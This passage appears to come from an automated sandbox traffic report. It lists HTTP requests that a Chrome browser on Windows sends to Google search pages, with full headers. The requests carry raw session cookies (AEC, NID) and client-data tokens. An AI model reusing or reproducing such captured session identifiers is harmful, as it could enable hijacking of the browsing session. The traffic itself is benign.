AABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d%3D1/ed%3D1/dg%3D0/br%3D1/ujg%3D1/rs%3DACT90oENScASXlzMUOyOqji2BEzciEd8Wg,_fmt:prog,_id:_43TkZ9b3MZSw0PEPiIOGsQ0_8&sp_imghp=false&sp_hpep=2&sp_hpte=0&vet=10ahUKEwiW9eTE26iMAxUUGDQIHYiBIdYQj-0KCBU..i HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.35sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 350sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
Source: global traffic	HTTP traffic detected: GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 0.35sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 350sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_272x92dp.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=sFpEt6_z3PP3bpdWacVBiKdyCkMY4bKjcyk2S2Qc-HDFyJKUIezgDUHPQ3B3FJ9sicId9uGWXOx3NXrUoChZV8t2NDpGr4d9LbEtqHjDU_cuuqFvQc6Z7BOBRdFwI_FuNVhGd04i8kNxQiscR2AZvYUdQvBQUb1LCjPuDC6Grk7ejaVXms2UyMjs3wcEUGrgx3gl2y6m8Nl1OuSEaPR7ul8
Source: global traffic	HTTP traffic detected: GET /async/hpba?yv=3&cs=0&ei=43TkZ9b3MZSw0PEPiIOGsQ0&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/dg%3D0/br%3D1/rs%3DACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg,_basecss:/xjs/_/ss/k%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg/br%3D1/rs%3DACT90oEftwI819Ook0SChABk1NYW2PsVtw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.mCEcQSPrsnc.es5.O/ck%3Dxjs.hd.KOInGPVOb68.L.B1.O/am%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAIAABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d%3D1/ed%3D1/dg%3D0/br%3D1/ujg%3D1/rs%3DACT90oENScASXlzMUOyOqji2BEzciEd8Wg,_fmt:prog,_id:_43TkZ9b3MZSw0PEPiIOGsQ0_8&sp_imghp=false&sp_hpep=2&sp_hpte=0&vet=10ahUKEwiW9eTE26iMAxUUGDQIHYiBIdYQj-0KCBU..i HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCLHezgE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /gen_204?s=async&astyp=hpba&atyp=csi&ei=5HTkZ4vGNYKkiLMPru65iQY&rt=ipf.1,ipfr.422,ttfb.422,st.422,acrt.424,ipfrl.424,aaft.424,art.424,ns.-1693&ns=1743025377958&twt=1.1999999999825377&mwt=1.1999999999825377 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 1.25sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /widget/callout?prid=19046229&pgid=19046228&puid=2e6b2513ec221596&eom=1&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com&cn=callout&pid=1&spid=538&hl=en HTTP/1.1Host: ogs.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.24R2mrw_td8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9vR1rNwOjC3PXOxUlyKiCwNBv2Fg/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=43TkZ9b3MZSw0PEPiIOGsQ0.1743025380541&dpr=1&nolsbt=1 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 6.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/md=2/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACQQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/rs=ACT90oGWbkpUuyQnygPG7oExy9ofyWeITg HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 6.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/ck=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAIAABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/ujg=1/rs=ACT90oENScASXlzMUOyOqji2BEzciEd8Wg/m=sb_wiz,aa,abd,U9EYge,syro,syrn,syrj,syf1,syrm,syrc,syzh,sys6,syrr,syrk,syri,syrl,syrs,syrt,syrp,syre,syr7,syr2,syq8,syrf,sys5,sys3,sys4,sys2,syr0,sys1,async,syvn,ifl,pHXghd,sf,sysu,sy3oe,sonic,sy3og,sy1c5,sy18g,sy18c,syq7,syq6,syq4,syqb,syq3,sy3ny,sy3o0,syur,syqg,sypz,syec,sy9z,sy9h,sy9i,sy9g,sy9d,spch,sytr,sytq,rtH1bd,sy19g,sy15g,sy134,sy12h,syde,sydc,sya3,sya0,sy9y,sy19d,EiD4Fe,SMquOb,sy7j,sy7i,sy7h,syfi,syfg,syfr,syfo,syff,syfd,syfb,sy7w,sy7t,sy7v,syfa,syfe,sybi,sybb,sybe,syb6,syag,syb1,syas,syb0,syaz,syam,syap,syao,syan,syal,sya9,syaj,syaq,syb2,sy9u,sya4,syab,syad,syae,syat,syai,syav,syaf,sybl,sya5,sybk,sy9l,sy9o,sya1,sya8,syb3,syf8,syf7,syf4,syf3,syf2,sy7z,uxMpU,syev,sybt,sybp,sybm,syay,sybn,sybj,sy8f,sy8b,sy8a,sy89,sy88,Mlhmy,QGR0gd,PoEs9b,Pjplud,OTA3Ae,sy85,A1yn5d,YIZmRd,uY49fb,sy7q,sy7o,sy7p,sy7n,sy7m,byfTOb,lsjVmc,LEikZe,sy7k,kWgXee,ovKuLd,sgY6Zb,qafBPd,ebZ3mb,dowIGb,sy19k,sy19j,sy19h,syyi,sytw,d5EhJe,sy1a4,fCxEDd,syvt,sy1a2,sy1a1,sy1a0,sy19t,sy19r,sy19q,sy19v,sy17a,sy173,syw2,syy6,syy5,T1HOxc,sy19s,sy19o,sy19l,zx30Y,sy1a6,sy1a5,sy19w,sy166,Wo3n8,syra,loL8vb?xjs=s3 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 6.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/ck=xjs.hd.KOInGPVOb68.L.B1.O/am=CLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAIAABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/ujg=1/rs=ACT90oENScASXlzMUOyOqji2BEzciEd8Wg/m=syrx,syrw,syrv,ms4mZb,syph,B2qlPe,syv7,NzU6V,syzs,syvm,zGLm3b,syx3,syx4,sywt,DhPYme,syyx,syyz,syxk,syxm,syyy,syxj,syz2,syz1,syyv,syyw,KHourd,MpJwZc,UUJqVe,sy8n,sOXFj,sy8m,s39S4,oGtAuc,NTMZac,nAFL3,sy8z,q0xTif,y05UD,PPhKqf,sy13e,sy18y,sy18s,syy2,sy18l,sy14b,syy4,syy3,sy18r,sy144,sy18i,sy148,sy13a,sy18m,sy149,sy14a,sy18t,sy131,sy18q,sy18p,sy18n,sylu,syn1,sy18o,sy18d,sy18h,sy18e,sy18u,sy18j,sy18f,sy18b,sy188,sy14w,sy14d,sy14e,syy9,syya,epYOx?xjs=s3 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 6.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJShywEInP7MAQiFoM0BCL7VzgEIgdbOAQjI3M4BCLHezgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2crRJMU2N9jh2uE_sd30SCo6mRfJrahwbyZNVphPHim-yqNrD8Pw0s; NID=522=rAtUY67vu51hIipe8DZj-qPtN-7CgqHzagZddUOkcmEJ-4mNjJ3u1WG-3h1hTRAVALpnJ6sdXgRBzGCtYQL42cxhOeXohu31qlgPL0XlLvu1rrs5fmvQWuK3NHQ9xrzYBxGSHZGqifqJStB-JqgxQsINo72GC9smHlvHb96ZtVNRyG5NuG6kWGDMJnpXH1BPwLjKPujtWniLJQ7ALu2TEX3WArYWYiE
Source: global traffic	HTTP traffic detected: GET /client_204?atyp=i&biw=1280&bih=897&ei=43TkZ9b3MZSw0PEPiIOGsQ0&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 6.4sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 200sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: 